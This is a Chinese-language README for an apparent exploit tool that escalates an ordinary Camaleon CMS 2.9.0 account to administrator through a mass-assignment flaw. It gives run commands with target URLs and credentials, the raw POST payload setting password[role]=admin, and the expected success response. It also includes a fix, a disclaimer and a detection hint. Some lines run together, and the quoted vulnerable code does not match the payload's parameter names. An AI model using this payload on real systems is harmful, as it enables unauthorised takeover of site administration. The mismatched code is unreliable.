该 Python 脚本利用了 Camaleon CMS 2.9.0 版本中的一个严重批量赋值(Mass Assignment)漏洞,允许任何已注册用户将其权限提升为管理员。
updated_ajax 操作中的 permit! 方法允许所有参数不经过滤直接通过,包括 role 参数/admin/users/[id]/updated_ajax 发送带有恶意负载的 POST 请求:(在脚本中,我使用了 id 5,因为这通常是自动分配的那个 id。该 id 可能需要更改。)
password[role]=admin - 该参数本应被过滤,但由于 permit! 而未被过滤password[password] 和 password[password_confirmation] - 更新用户密码(当具有 client 角色的普通用户更新其个人资料时,技术上来说是 user[role]=client,但由于我们在这里利用的是 change password 功能所导致的漏洞,因此将是 password[role]=admin。)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password:在漏洞利用过程中设置新密码(默认为当前密码)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
该漏洞存在于 UsersController 的 updated_ajax 方法中:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
将易受攻击的 permit! 方法替换为显式参数过滤:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
此脚本仅用于教育和经授权的安全测试目的。请勿在您不拥有或未经明确许可测试的系统上使用此漏洞利用程序。作者不对因使用此工具而造成的任何误用或损害负责。
安全团队可以通过监控以下内容来检测漏洞利用尝试:
password[role] 参数的指向 /admin/users/[id]/updated_ajax 的 POST 请求